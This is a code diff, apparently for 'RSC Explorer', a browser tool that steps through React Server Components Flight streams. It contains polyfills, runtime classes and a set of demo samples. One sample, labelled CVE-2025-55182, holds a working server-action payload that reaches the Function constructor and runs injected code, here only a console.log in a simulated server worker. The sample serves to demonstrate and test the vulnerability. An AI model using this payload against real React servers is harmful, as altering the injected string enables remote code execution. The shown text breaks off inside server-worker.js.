options: { 60 + version: { type: "string", short: "v" }, 61 + all: { type: "boolean", short: "a" }, 62 + }, 63 + allowPositionals: true, 64 + }); 65 + 66 + try { 67 + if (values.all) { 68 + // Build latest (from package.json) to dist/ root first (cleans dist/) 69 + const latest = getLatestVersion(); 70 + buildForVersion(latest, "dist"); 71 + // Then build all versions to dist/{version}/ (each cleans only its own dir) 72 + for (const version of ALL_VERSIONS) { 73 + buildForVersion(version); 74 + } 75 + } else if (values.version) { 76 + // Build single version 77 + buildForVersion(values.version); 78 + } else { 79 + console.error("Usage:"); 80 + console.error(" node scripts/build-version.js --version=19.2.0"); 81 + console.error(" node scripts/build-version.js --all"); 82 + process.exit(1); 83 + } 84 + 85 + restorePackages(); 86 + console.log("\nDone!"); 87 + } catch (err) { 88 + console.error("\nBuild failed:", err.message); 89 + // Still try to restore packages on failure 90 + try { 91 + restorePackages(); 92 + } catch {} 93 + process.exit(1); 94 + }
+1
scripts/versions.json
··· 1 + ["19.2.0", "19.2.1", "19.2.2", "19.2.3"]
+15
src/client/byte-stream-polyfill.js
··· 1 + // Safari doesn't implement ReadableByteStreamController. 2 + // The standard web-streams-polyfill only polyfills ReadableStream, not byte streams. 3 + // This adds the missing byte stream support. 4 + 5 + import { 6 + ReadableStream as PolyfillReadableStream, 7 + ReadableByteStreamController as PolyfillReadableByteStreamController, 8 + } from 'web-streams-polyfill'; 9 + 10 + if (typeof globalThis.ReadableByteStreamController === 'undefined') { 11 + // Safari doesn't have byte stream support - use the polyfill's ReadableStream 12 + // which includes full byte stream support 13 + globalThis.ReadableStream = PolyfillReadableStream; 14 + globalThis.ReadableByteStreamController = PolyfillReadableByteStreamController; 15 + }
+106
src/client/embed.jsx
··· 1 + // Must be first - shims webpack globals for react-server-dom-webpack 2 + import './webpack-shim.js'; 3 + 4 + import './byte-stream-polyfill.js'; 5 + import 'web-streams-polyfill/polyfill'; 6 + import 'text-encoding'; 7 + 8 + import React, { useState, useEffect } from 'react'; 9 + import { createRoot } from 'react-dom/client'; 10 + import { Workspace } from './ui/Workspace.jsx'; 11 + import './styles/workspace.css'; 12 + 13 + // Default code shown when no code is provided 14 + const DEFAULT_SERVER = `export default function App() { 15 + return <h1>RSC Explorer</h1>; 16 + }`; 17 + 18 + const DEFAULT_CLIENT = `'use client' 19 + 20 + export function Button({ children }) { 21 + return <button>{children}</button>; 22 + }`; 23 + 24 + function EmbedApp() { 25 + const [code, setCode] = useState(null); 26 + const [showFullscreen, setShowFullscreen] = useState(false); 27 + 28 + useEffect(() => { 29 + const handleMessage = (event) => { 30 + const { data } = event; 31 + if (data?.type === 'rsc-embed:init') { 32 + setCode({ 33 + server: (data.code?.server || DEFAULT_SERVER).trim(), 34 + client: (data.code?.client || DEFAULT_CLIENT).trim(), 35 + }); 36 + if (data.showFullscreen !== false) { 37 + setShowFullscreen(true); 38 + } 39 + } 40 + }; 41 + 42 + window.addEventListener('message', handleMessage); 43 + 44 + // Signal to parent that we're ready to receive code 45 + if (window.parent !== window) { 46 + window.parent.postMessage({ type: 'rsc-embed:ready' }, '*'); 47 + } 48 + 49 + return () => window.removeEventListener('message', handleMessage); 50 + }, []); 51 + 52 + // Report code changes back to parent 53 + const handleCodeChange = (server, client) => { 54 + if (window.parent !== window) { 55 + window.parent.postMessage({ 56 + type: 'rsc-embed:code-changed', 57 + code: { server, client } 58 + }, '*'); 59 + } 60 + }; 61 + 62 + // Generate fullscreen URL 63 + const getFullscreenUrl = () => { 64 + if (!code) return '#'; 65 + const json = JSON.stringify({ server: code.server, client: code.client }); 66 + const encoded = encodeURIComponent(btoa(unescape(encodeURIComponent(json)))); 67 + return `https://rscexplorer.dev/?c=${encoded}`; 68 + }; 69 + 70 + // Show nothing until we receive code from parent 71 + if (!code) { 72 + return null; 73 + } 74 + 75 + return ( 76 + <> 77 + {showFullscreen && ( 78 + <div className="embed-header"> 79 + <span className="embed-title">RSC Explorer</span> 80 + <a 81 + href={getFullscreenUrl()} 82 + target="_blank" 83 + rel="noopener noreferrer" 84 + className="embed-fullscreen-link" 85 + title="Open in RSC Explorer" 86 + > 87 + <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2"> 88 + <path d="M18 13v6a2 2 0 01-2 2H5a2 2 0 01-2-2V8a2 2 0 012-2h6M15 3h6v6M10 14L21 3" /> 89 + </svg> 90 + </a> 91 + </div> 92 + )} 93 + <Workspace 94 + key={`${code.server}:${code.client}`} 95 + initialServerCode={code.server} 96 + initialClientCode={code.client} 97 + onCodeChange={handleCodeChange} 98 + /> 99 + </> 100 + ); 101 + } 102 + 103 + document.addEventListener('DOMContentLoaded', () => { 104 + const root = createRoot(document.getElementById('embed-root')); 105 + root.render(<EmbedApp />); 106 + });
+16
src/client/index.jsx
··· 1 + // Must be first - shims webpack globals for react-server-dom-webpack 2 + import './webpack-shim.js'; 3 + 4 + import './byte-stream-polyfill.js'; 5 + import 'web-streams-polyfill/polyfill'; 6 + import 'text-encoding'; 7 + 8 + import React from 'react'; 9 + import { createRoot } from 'react-dom/client'; 10 + import { App } from './ui/App.jsx'; 11 + 12 + // Mount the app 13 + document.addEventListener('DOMContentLoaded', () => { 14 + const root = createRoot(document.getElementById('app')); 15 + root.render(<App />); 16 + });
+3
src/client/runtime/index.js
··· 1 + export { registerClientModule, evaluateClientModule } from './module-registry.js'; 2 + export { SteppableStream } from './steppable-stream.js'; 3 + export { Timeline } from './timeline.js';
+18
src/client/runtime/module-registry.js
··· 1 + import React from 'react'; 2 + 3 + export function registerClientModule(moduleId, moduleExports) { 4 + if (typeof __webpack_module_cache__ !== 'undefined') { 5 + __webpack_module_cache__[moduleId] = { exports: moduleExports }; 6 + } 7 + } 8 + 9 + export function evaluateClientModule(compiledCode) { 10 + const module = { exports: {} }; 11 + const require = (id) => { 12 + if (id === 'react') return React; 13 + throw new Error(`Module "${id}" not found in client context`); 14 + }; 15 + const fn = new Function('module', 'exports', 'require', 'React', compiledCode); 16 + fn(module, module.exports, require, React); 17 + return module.exports; 18 + }
+66
src/client/runtime/steppable-stream.js
··· 1 + import { createFromReadableStream } from 'react-server-dom-webpack/client'; 2 + 3 + /** 4 + * SteppableStream - makes a Flight stream steppable for debugging. 5 + * 6 + * Buffers incoming rows and controls their release to the Flight decoder. 7 + * The flightPromise only resolves when all rows have been released. 8 + */ 9 + export class SteppableStream { 10 + constructor(source, { callServer } = {}) { 11 + this.rows = []; 12 + this.releasedCount = 0; 13 + this.buffered = false; 14 + this.closed = false; 15 + 16 + const encoder = new TextEncoder(); 17 + let controller; 18 + const output = new ReadableStream({ 19 + start: (c) => { controller = c; } 20 + }); 21 + 22 + this.release = (count) => { 23 + while (this.releasedCount < count && this.releasedCount < this.rows.length) { 24 + controller.enqueue(encoder.encode(this.rows[this.releasedCount] + '\n')); 25 + this.releasedCount++; 26 + } 27 + if (this.releasedCount >= this.rows.length && this.buffered && !this.closed) { 28 + controller.close(); 29 + this.closed = true; 30 + } 31 + }; 32 + 33 + this.flightPromise = createFromReadableStream(output, { callServer }); 34 + this.bufferPromise = this.buffer(source); 35 + } 36 + 37 + async buffer(stream) { 38 + const reader = stream.getReader(); 39 + const decoder = new TextDecoder(); 40 + let partial = ''; 41 + 42 + try { 43 + while (true) { 44 + const { done, value } = await reader.read(); 45 + if (done) break; 46 + 47 + partial += decoder.decode(value, { stream: true }); 48 + const lines = partial.split('\n'); 49 + partial = lines.pop(); 50 + 51 + for (const line of lines) { 52 + if (line.trim()) this.rows.push(line); 53 + } 54 + } 55 + 56 + partial += decoder.decode(); 57 + if (partial.trim()) this.rows.push(partial); 58 + } finally { 59 + this.buffered = true; 60 + } 61 + } 62 + 63 + async waitForBuffer() { 64 + await this.bufferPromise; 65 + } 66 + }
+124
src/client/runtime/timeline.js
··· 1 + /** 2 + * Timeline - manages a sequence of Flight responses for debugging. 3 + * 4 + * Each entry owns its SteppableStream(s). The cursor controls playback. 5 + * Stepping releases data to streams; I/O is handled externally. 6 + * 7 + * Entry types: 8 + * - render: { type, stream } - initial render 9 + * - action: { type, name, args, stream } - action invoked from client or added manually 10 + */ 11 + export class Timeline { 12 + constructor() { 13 + this.entries = []; 14 + this.cursor = 0; 15 + this.listeners = new Set(); 16 + this.snapshot = null; 17 + } 18 + 19 + subscribe = (listener) => { 20 + this.listeners.add(listener); 21 + return () => this.listeners.delete(listener); 22 + }; 23 + 24 + notify() { 25 + this.snapshot = null; // Invalidate cache 26 + this.listeners.forEach(fn => fn()); 27 + } 28 + 29 + getChunkCount(entry) { 30 + return entry.stream?.rows?.length || 0; 31 + } 32 + 33 + getTotalChunks() { 34 + return this.entries.reduce((sum, e) => sum + this.getChunkCount(e), 0); 35 + } 36 + 37 + getPosition(globalChunk) { 38 + let remaining = globalChunk; 39 + for (let i = 0; i < this.entries.length; i++) { 40 + const count = this.getChunkCount(this.entries[i]); 41 + if (remaining < count) { 42 + return { entryIndex: i, localChunk: remaining }; 43 + } 44 + remaining -= count; 45 + } 46 + return null; 47 + } 48 + 49 + getEntryStart(entryIndex) { 50 + let start = 0; 51 + for (let i = 0; i < entryIndex; i++) { 52 + start += this.getChunkCount(this.entries[i]); 53 + } 54 + return start; 55 + } 56 + 57 + canDeleteEntry(entryIndex) { 58 + if (entryIndex < 0 || entryIndex >= this.entries.length) return false; 59 + return this.cursor <= this.getEntryStart(entryIndex); 60 + } 61 + 62 + // For useSyncExternalStore compatibility - must return cached object 63 + getSnapshot = () => { 64 + if (this.snapshot) return this.snapshot; 65 + 66 + const totalChunks = this.getTotalChunks(); 67 + this.snapshot = { 68 + entries: this.entries, 69 + cursor: this.cursor, 70 + totalChunks, 71 + isAtStart: this.cursor === 0, 72 + isAtEnd: this.cursor >= totalChunks, 73 + }; 74 + return this.snapshot; 75 + }; 76 + 77 + setRender(stream) { 78 + this.entries = [{ type: 'render', stream }]; 79 + this.cursor = 0; 80 + this.notify(); 81 + } 82 + 83 + addAction(name, args, stream) { 84 + this.entries = [...this.entries, { type: 'action', name, args, stream }]; 85 + this.notify(); 86 + } 87 + 88 + deleteEntry(entryIndex) { 89 + if (!this.canDeleteEntry(entryIndex)) return false; 90 + this.entries = this.entries.filter((_, i) => i !== entryIndex); 91 + this.notify(); 92 + return true; 93 + } 94 + 95 + stepForward() { 96 + const total = this.getTotalChunks(); 97 + if (this.cursor >= total) return; 98 + 99 + const pos = this.getPosition(this.cursor); 100 + if (!pos) return; 101 + 102 + const entry = this.entries[pos.entryIndex]; 103 + this.cursor++; 104 + entry.stream.release(pos.localChunk + 1); 105 + 106 + this.notify(); 107 + } 108 + 109 + skipToEntryEnd() { 110 + const pos = this.getPosition(this.cursor); 111 + if (!pos) return; 112 + 113 + const entryEnd = this.getEntryStart(pos.entryIndex) + this.getChunkCount(this.entries[pos.entryIndex]); 114 + while (this.cursor < entryEnd) { 115 + this.stepForward(); 116 + } 117 + } 118 + 119 + clear() { 120 + this.entries = []; 121 + this.cursor = 0; 122 + this.notify(); 123 + } 124 + }
+639
src/client/samples.js
··· 1 + export const SAMPLES = { 2 + hello: { 3 + name: 'Hello World', 4 + server: `export default function App() { 5 + return <h1>Hello World</h1> 6 + }`, 7 + client: `'use client'` 8 + }, 9 + async: { 10 + name: 'Async Component', 11 + server: `import { Suspense } from 'react' 12 + 13 + export default function App() { 14 + return ( 15 + <div> 16 + <h1>Async Component</h1> 17 + <Suspense fallback={<p>Loading...</p>}> 18 + <SlowComponent /> 19 + </Suspense> 20 + </div> 21 + ) 22 + } 23 + 24 + async function SlowComponent() { 25 + await new Promise(r => setTimeout(r, 500)) 26 + return <p>Data loaded!</p> 27 + }`, 28 + client: `'use client'` 29 + }, 30 + counter: { 31 + name: 'Counter', 32 + server: `import { Counter } from './client' 33 + 34 + export default function App() { 35 + return ( 36 + <div> 37 + <h1>Counter</h1> 38 + <Counter initialCount={0} /> 39 + </div> 40 + ) 41 + }`, 42 + client: `'use client' 43 + 44 + import { useState } from 'react' 45 + 46 + export function Counter({ initialCount }) { 47 + const [count, setCount] = useState(initialCount) 48 + 49 + return ( 50 + <div> 51 + <p>Count: {count}</p> 52 + <div style={{ display: 'flex', gap: 8 }}> 53 + <button onClick={() => setCount(c => c - 1)}>−</button> 54 + <button onClick={() => setCount(c => c + 1)}>+</button> 55 + </div> 56 + </div> 57 + ) 58 + }` 59 + }, 60 + form: { 61 + name: 'Form Action', 62 + server: `import { Form } from './client' 63 + 64 + export default function App() { 65 + return ( 66 + <div> 67 + <h1>Form Action</h1> 68 + <Form greetAction={greet} /> 69 + </div> 70 + ) 71 + } 72 + 73 + async function greet(prevState, formData) { 74 + 'use server' 75 + await new Promise(r => setTimeout(r, 500)) 76 + const name = formData.get('name') 77 + if (!name) return { message: null, error: 'Please enter a name' } 78 + return { message: \`Hello, \${name}!\`, error: null } 79 + }`, 80 + client: `'use client' 81 + 82 + import { useActionState } from 'react' 83 + 84 + export function Form({ greetAction }) { 85 + const [state, formAction, isPending] = useActionState(greetAction, { 86 + message: null, 87 + error: null 88 + }) 89 + 90 + return ( 91 + <form action={formAction}> 92 + <div style={{ display: 'flex', gap: 8 }}> 93 + <input 94 + name="name" 95 + placeholder="Enter your name" 96 + style={{ padding: '8px 12px', borderRadius: 4, border: '1px solid #ccc' }} 97 + /> 98 + <button disabled={isPending}> 99 + {isPending ? 'Sending...' : 'Greet'} 100 + </button> 101 + </div> 102 + {state.error && <p style={{ color: 'red', marginTop: 8 }}>{state.error}</p>} 103 + {state.message && <p style={{ color: 'green', marginTop: 8 }}>{state.message}</p>} 104 + </form> 105 + ) 106 + }` 107 + }, 108 + pagination: { 109 + name: 'Pagination', 110 + server: `import { Suspense } from 'react' 111 + import { Paginator } from './client' 112 + 113 + export default function App() { 114 + return ( 115 + <div> 116 + <h1>Pagination</h1> 117 + <Suspense fallback={<p style={{ color: '#888' }}>Loading recipes...</p>}> 118 + <InitialRecipes /> 119 + </Suspense> 120 + </div> 121 + ) 122 + } 123 + 124 + async function InitialRecipes() { 125 + await new Promise(r => setTimeout(r, 200)) 126 + const initialItems = recipes.slice(0, 2).map(r => <RecipeCard key={r.id} recipe={r} />) 127 + return ( 128 + <Paginator 129 + initialItems={initialItems} 130 + initialCursor={2} 131 + loadMoreAction={loadMore} 132 + /> 133 + ) 134 + } 135 + 136 + async function loadMore(cursor) { 137 + 'use server' 138 + await new Promise(r => setTimeout(r, 300)) 139 + const newItems = recipes.slice(cursor, cursor + 2) 140 + return { 141 + newItems: newItems.map(r => <RecipeCard key={r.id} recipe={r} />), 142 + cursor: cursor + 2, 143 + hasMore: cursor + 2 < recipes.length 144 + } 145 + } 146 + 147 + function RecipeCard({ recipe }) { 148 + return ( 149 + <div style={{ padding: 12, marginBottom: 8, background: '#f5f5f5', borderRadius: 6 }}> 150 + <strong>{recipe.name}</strong> 151 + <p style={{ margin: '4px 0 0', color: '#666', fontSize: 13 }}> 152 + {recipe.time} · {recipe.difficulty} 153 + </p> 154 + </div> 155 + ) 156 + } 157 + 158 + const recipes = [ 159 + { id: 1, name: 'Pasta Carbonara', time: '25 min', difficulty: 'Medium' }, 160 + { id: 2, name: 'Grilled Cheese', time: '10 min', difficulty: 'Easy' }, 161 + { id: 3, name: 'Chicken Stir Fry', time: '20 min', difficulty: 'Easy' }, 162 + { id: 4, name: 'Beef Tacos', time: '30 min', difficulty: 'Medium' }, 163 + { id: 5, name: 'Caesar Salad', time: '15 min', difficulty: 'Easy' }, 164 + { id: 6, name: 'Mushroom Risotto', time: '45 min', difficulty: 'Hard' }, 165 + ]`, 166 + client: `'use client' 167 + 168 + import { useState, useTransition } from 'react' 169 + 170 + export function Paginator({ initialItems, initialCursor, loadMoreAction }) { 171 + const state = usePagination(initialItems, initialCursor, loadMoreAction) 172 + 173 + return ( 174 + <form action={state.formAction}> 175 + {state.items} 176 + {state.hasMore && ( 177 + <button disabled={state.isPending}> 178 + {state.isPending ? 'Loading...' : 'Load More'} 179 + </button> 180 + )} 181 + </form> 182 + ) 183 + } 184 + 185 + function usePagination(initialItems, initialCursor, action) { 186 + const [items, setItems] = useState(initialItems) 187 + const [cursor, setCursor] = useState(initialCursor) 188 + const [hasMore, setHasMore] = useState(true) 189 + const [isPending, startTransition] = useTransition() 190 + 191 + const formAction = () => { 192 + startTransition(async () => { 193 + const result = await action(cursor) 194 + setItems(prev => [...prev, ...result.newItems]) 195 + setCursor(result.cursor) 196 + setHasMore(result.hasMore) 197 + }) 198 + } 199 + 200 + return { items, hasMore, formAction, isPending } 201 + }` 202 + }, 203 + refresh: { 204 + name: 'Router Refresh', 205 + server: `import { Suspense } from 'react' 206 + import { Timer, Router } from './client' 207 + 208 + export default function App() { 209 + return ( 210 + <div> 211 + <h1>Router Refresh</h1> 212 + <p style={{ marginBottom: 12, color: '#666' }}> 213 + Client state persists across server navigations 214 + </p> 215 + <Suspense fallback={<p>Loading...</p>}> 216 + <Router initial={renderPage()} refreshAction={renderPage} /> 217 + </Suspense> 218 + </div> 219 + ) 220 + } 221 + 222 + async function renderPage() { 223 + 'use server' 224 + return <ColorTimer /> 225 + } 226 + 227 + async function ColorTimer() { 228 + await new Promise(r => setTimeout(r, 300)) 229 + const hue = Math.floor(Math.random() * 360) 230 + return <Timer color={\`hsl(\${hue}, 70%, 85%)\`} /> 231 + }`, 232 + client: `'use client' 233 + 234 + import { useState, useEffect, useTransition, use } from 'react' 235 + 236 + export function Timer({ color }) { 237 + const [seconds, setSeconds] = useState(0) 238 + 239 + useEffect(() => { 240 + const id = setInterval(() => setSeconds(s => s + 1), 1000) 241 + return () => clearInterval(id) 242 + }, []) 243 + 244 + return ( 245 + <div style={{ 246 + background: color, 247 + padding: 24, 248 + borderRadius: 8, 249 + textAlign: 'center' 250 + }}> 251 + <p style={{ fontFamily: 'monospace', fontSize: 32, margin: 0 }}>{seconds}s</p> 252 + </div> 253 + ) 254 + } 255 + 256 + export function Router({ initial, refreshAction }) { 257 + const [contentPromise, setContentPromise] = useState(initial) 258 + const [isPending, startTransition] = useTransition() 259 + const content = use(contentPromise) 260 + 261 + const refresh = () => { 262 + startTransition(() => { 263 + setContentPromise(refreshAction()) 264 + }) 265 + } 266 + 267 + return ( 268 + <div style={{ opacity: isPending ? 0.6 : 1, transition: 'opacity 0.2s' }}> 269 + {content} 270 + <button onClick={refresh} disabled={isPending} style={{ marginTop: 12 }}> 271 + {isPending ? 'Refreshing...' : 'Refresh'} 272 + </button> 273 + </div> 274 + ) 275 + }` 276 + }, 277 + errors: { 278 + name: 'Error Handling', 279 + server: `import { Suspense } from 'react' 280 + import { ErrorBoundary } from './client' 281 + 282 + export default function App() { 283 + return ( 284 + <div> 285 + <h1>Error Handling</h1> 286 + <ErrorBoundary fallback={<FailedToLoad />}> 287 + <Suspense fallback={<p>Loading user...</p>}> 288 + <UserProfile id={123} /> 289 + </Suspense> 290 + </ErrorBoundary> 291 + </div> 292 + ) 293 + } 294 + 295 + async function UserProfile({ id }) { 296 + const user = await fetchUser(id) 297 + return ( 298 + <div style={{ padding: 16, background: '#f0f0f0', borderRadius: 8 }}> 299 + <strong>{user.name}</strong> 300 + </div> 301 + ) 302 + } 303 + 304 + function FailedToLoad() { 305 + return ( 306 + <div style={{ padding: 16, background: '#fee', borderRadius: 8, color: '#c00' }}> 307 + <strong>Failed to load user</strong> 308 + <p style={{ margin: '4px 0 0' }}>Please try again later.</p> 309 + </div> 310 + ) 311 + } 312 + 313 + async function fetchUser(id) { 314 + await new Promise(r => setTimeout(r, 300)) 315 + throw new Error('Network error') 316 + }`, 317 + client: `'use client' 318 + 319 + import { Component } from 'react' 320 + 321 + export class ErrorBoundary extends Component { 322 + state = { error: null } 323 + 324 + static getDerivedStateFromError(error) { 325 + return { error } 326 + } 327 + 328 + render() { 329 + if (this.state.error) { 330 + return this.props.fallback 331 + } 332 + return this.props.children 333 + } 334 + }` 335 + }, 336 + clientref: { 337 + name: 'Client Reference', 338 + server: `// Server can pass client module exports as props 339 + import { darkTheme, lightTheme, ThemedBox } from './client' 340 + 341 + export default function App() { 342 + // Server references client-side config objects 343 + // They serialize as module references, resolved on client 344 + return ( 345 + <div> 346 + <h1>Client Reference</h1> 347 + <div style={{ display: 'flex', gap: 12 }}> 348 + <ThemedBox theme={darkTheme} label="Dark" /> 349 + <ThemedBox theme={lightTheme} label="Light" /> 350 + </div> 351 + </div> 352 + ) 353 + }`, 354 + client: `'use client' 355 + 356 + export const darkTheme = { background: '#1a1a1a', color: '#fff' } 357 + export const lightTheme = { background: '#f5f5f5', color: '#000' } 358 + 359 + export function ThemedBox({ theme, label }) { 360 + return ( 361 + <div style={{ ...theme, padding: 16, borderRadius: 8 }}> 362 + {label} theme 363 + </div> 364 + ) 365 + }` 366 + }, 367 + bound: { 368 + name: 'Bound Actions', 369 + server: `// action.bind() pre-binds arguments on the server 370 + import { Greeter } from './client' 371 + 372 + export default function App() { 373 + return ( 374 + <div> 375 + <h1>Bound Actions</h1> 376 + <p style={{ color: '#888', marginBottom: 16 }}> 377 + Same action, different bound greetings: 378 + </p> 379 + <Greeter action={greet.bind(null, 'Hello')} /> 380 + <Greeter action={greet.bind(null, 'Howdy')} /> 381 + <Greeter action={greet.bind(null, 'Hey')} /> 382 + </div> 383 + ) 384 + } 385 + 386 + async function greet(greeting, name) { 387 + 'use server' 388 + return \`\${greeting}, \${name}!\` 389 + }`, 390 + client: `'use client' 391 + 392 + import { useState } from 'react' 393 + 394 + export function Greeter({ action }) { 395 + const [result, setResult] = useState(null) 396 + 397 + async function handleSubmit(formData) { 398 + // greeting is pre-bound, we only pass name 399 + const message = await action(formData.get('name')) 400 + setResult(message) 401 + } 402 + 403 + return ( 404 + <form action={handleSubmit} style={{ marginBottom: 8 }}> 405 + <input name="name" placeholder="Your name" required /> 406 + <button>Greet</button> 407 + {result && <span style={{ marginLeft: 8 }}>{result}</span>} 408 + </form> 409 + ) 410 + }` 411 + }, 412 + kitchensink: { 413 + name: 'Kitchen Sink', 414 + server: `// Kitchen Sink - All RSC Protocol Types 415 + import { Suspense } from 'react' 416 + import { DataDisplay } from './client' 417 + 418 + export default function App() { 419 + return ( 420 + <div> 421 + <h1>Kitchen Sink</h1> 422 + <Suspense fallback={<p>Loading...</p>}> 423 + <AllTypes /> 424 + </Suspense> 425 + </div> 426 + ) 427 + } 428 + 429 + async function AllTypes() { 430 + await new Promise(r => setTimeout(r, 100)) 431 + 432 + const data = { 433 + // Primitives 434 + primitives: { 435 + null: null, 436 + undefined: undefined, 437 + true: true, 438 + false: false, 439 + int: 42, 440 + float: 3.14159, 441 + string: "hello world", 442 + empty: "", 443 + dollar: "$special", 444 + unicode: "Hello 世界 🌍", 445 + }, 446 + 447 + // Special numbers 448 + special: { 449 + negZero: -0, 450 + inf: Infinity, 451 + negInf: -Infinity, 452 + nan: NaN, 453 + }, 454 + 455 + // Special types 456 + types: { 457 + date: new Date("2024-01-15T12:00:00.000Z"), 458 + bigint: BigInt("12345678901234567890"), 459 + symbol: Symbol.for("mySymbol"), 460 + }, 461 + 462 + // Collections 463 + collections: { 464 + map: new Map([["a", 1], ["b", { nested: true }]]), 465 + set: new Set([1, 2, "three"]), 466 + formData: createFormData(), 467 + blob: new Blob(["hello"], { type: "text/plain" }), 468 + }, 469 + 470 + // Arrays 471 + arrays: { 472 + simple: [1, 2, 3], 473 + sparse: createSparse(), 474 + nested: [[1], [2, [3]]], 475 + }, 476 + 477 + // Objects 478 + objects: { 479 + simple: { a: 1 }, 480 + nested: { x: { y: { z: "deep" } } }, 481 + }, 482 + 483 + // React elements 484 + elements: { 485 + div: <div className="test">Hello</div>, 486 + fragment: <><span>a</span><span>b</span></>, 487 + suspense: <Suspense fallback="..."><p>content</p></Suspense>, 488 + }, 489 + 490 + // Promises 491 + promises: { 492 + resolved: Promise.resolve("immediate"), 493 + delayed: new Promise(r => setTimeout(() => r("delayed"), 100)), 494 + }, 495 + 496 + // Iterators 497 + iterators: { 498 + sync: [1, 2, 3][Symbol.iterator](), 499 + }, 500 + 501 + // References 502 + refs: createRefs(), 503 + 504 + // Server action 505 + action: serverAction, 506 + } 507 + 508 + return <DataDisplay data={data} /> 509 + } 510 + 511 + function createFormData() { 512 + const fd = new FormData() 513 + fd.append("key", "value") 514 + return fd 515 + } 516 + 517 + function createSparse() { 518 + const a = [1]; a[3] = 4; return a 519 + } 520 + 521 + function createRefs() { 522 + const shared = { id: 1 } 523 + const cyclic = { name: "cyclic" } 524 + cyclic.self = cyclic 525 + return { dup: { a: shared, b: shared }, cyclic } 526 + } 527 + 528 + async function serverAction(x) { 529 + 'use server' 530 + return { got: x } 531 + }`, 532 + client: `'use client' 533 + 534 + export function DataDisplay({ data }) { 535 + return ( 536 + <div style={{ fontSize: 12 }}> 537 + {Object.entries(data).map(([section, values]) => ( 538 + <div key={section} style={{ marginBottom: 16 }}> 539 + <strong>{section}</strong> 540 + <div style={{ marginLeft: 12 }}> 541 + {typeof values === 'function' ? ( 542 + <div><button onClick={() => values('test')}>Call {values.name || 'action'}</button></div> 543 + ) : typeof values === 'object' && values !== null ? ( 544 + Object.entries(values).map(([k, v]) => ( 545 + <div key={k}>{k}: {renderValue(v)}</div> 546 + )) 547 + ) : ( 548 + <span>{renderValue(values)}</span> 549 + )} 550 + </div> 551 + </div> 552 + ))} 553 + </div> 554 + ) 555 + } 556 + 557 + function renderValue(v) { 558 + if (v === null) return 'null' 559 + if (v === undefined) return 'undefined' 560 + if (typeof v === 'symbol') return v.toString() 561 + if (typeof v === 'bigint') return v.toString() + 'n' 562 + if (typeof v === 'function') return '[Function]' 563 + if (v instanceof Date) return v.toISOString() 564 + if (v instanceof Map) return 'Map(' + v.size + ')' 565 + if (v instanceof Set) return 'Set(' + v.size + ')' 566 + if (v instanceof FormData) return 'FormData' 567 + if (v instanceof Blob) return 'Blob(' + v.size + ')' 568 + if (Array.isArray(v)) return '[' + v.length + ' items]' 569 + if (typeof v === 'object') return '{...}' 570 + return String(v) 571 + }` 572 + }, 573 + cve: { 574 + name: 'CVE-2025-55182', 575 + server: `import { Instructions } from './client' 576 + 577 + async function poc() { 578 + 'use server' 579 + } 580 + 581 + export default function App() { 582 + return ( 583 + <div> 584 + <h1>CVE-2025-55182</h1> 585 + <Instructions /> 586 + </div> 587 + ) 588 + }`, 589 + client: `'use client' 590 + 591 + import { useState } from 'react' 592 + 593 + const PAYLOAD = \`0="$1"&1={"status":"resolved_model","reason":0,"_response":"$5","value":"{\\\\"then\\\\":\\\\"$4:map\\\\",\\\\"0\\\\":{\\\\"then\\\\":\\\\"$B3\\\\"},\\\\"length\\\\":1}","then":"$2:then"}&2="$@3"&3=""&4=[]&5={"_prefix":"console.log('😼 meow meow from', self.constructor.name)//","_formData":{"get":"$4:constructor:constructor"},"_chunks":"$2:_response:_chunks","_bundlerConfig":{}}\` 594 + 595 + export function Instructions() { 596 + const [copied, setCopied] = useState(false) 597 + 598 + const handleCopy = () => { 599 + navigator.clipboard.writeText(PAYLOAD) 600 + setCopied(true) 601 + setTimeout(() => setCopied(false), 2000) 602 + } 603 + 604 + return ( 605 + <div> 606 + <ol style={{ paddingLeft: 20, marginBottom: 16 }}> 607 + <li>Use the + button in above pane to add a raw action</li> 608 + <li>Select the <code>poc</code> action</li> 609 + <li>Copy the payload below and paste it</li> 610 + <li>Open your browser's console</li> 611 + <li>If this version of React is vulnerable, you'll see a log from the worker (which simulates the server)</li> 612 + </ol> 613 + <div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: 4 }}> 614 + <label style={{ fontSize: 12, color: '#666' }}>Payload:</label> 615 + <button onClick={handleCopy} style={{ fontSize: 12, padding: '2px 8px' }}> 616 + {copied ? 'Copied!' : 'Copy'} 617 + </button> 618 + </div> 619 + <textarea 620 + readOnly 621 + value={PAYLOAD} 622 + style={{ 623 + width: '100%', 624 + height: 80, 625 + fontFamily: 'monospace', 626 + fontSize: 11, 627 + padding: 8, 628 + border: '1px solid #ccc', 629 + borderRadius: 4, 630 + resize: 'vertical', 631 + background: '#f5f5f5' 632 + }} 633 + onClick={e => e.target.select()} 634 + /> 635 + </div> 636 + ) 637 + }`, 638 + }, 639 + };
+171
src/client/server-worker.js
··· 1 + import workerUrl from '../server/worker.js?rolldown-worker'; 2 + 3 + const randomUUID = crypto.randomUUID?.bind(crypto) ?? function() { 4 + const bytes = crypto.getRandomValues(new Uint8Array(16)); 5 + bytes[6] = (bytes[6] & 0x0f) | 0x40; // version 4 6 + bytes[8] = (bytes[8] & 0x3f) | 0x80; // variant 1 7 + const hex = [...bytes].map(b => b.toString(16).padStart(2, '0')); 8 + return `${hex.slice(0, 4).join('')}-${hex.slice(4, 6).join('')}-${hex.slice(6, 8).join('')}-${hex.slice(8, 10).join('')}-${hex.slice(10).join('')}`; 9 + }; 10 + 11 + function serializeForTransfer(encoded) { 12 + if (encoded instanceof FormData) { 13 + return { type: 'formdata', data: new URLSearchParams(encoded).toString() }; 14 + } 15 + return { type: 'string', data: encoded }; 16 + } 17 + 18 + export class ServerWorker { 19 + constructor() { 20 + this.worker = new Worker(workerUrl); 21 + this.pending = new Map(); 22 + this.streams = new Map(); 23 + this.readyPromise = new Promise(resolve => { 24 + this.readyResolve = resolve; 25 + }); 26 + 27 + this.worker.onmessage = this.handleMessage.bind(this); 28 + this.worker.onerror = this.handleError.bind(this); 29 + } 30 + 31 + handleMessage(event) { 32 + const { type, requestId, error, chunk } = event.data; 33 + 34 + if (type === 'ready') { 35 + this.readyResolve(); 36 + return; 37 + } 38 + 39 + if (type === 'stream-start') { 40 + const pending = this.pending.get(requestId); 41 + if (!pending) return; 42 + this.pending.delete(requestId); 43 + 44 + let controller; 45 + const stream = new ReadableStream({ 46 + start: (c) => { controller = c; } 47 + }); 48 + 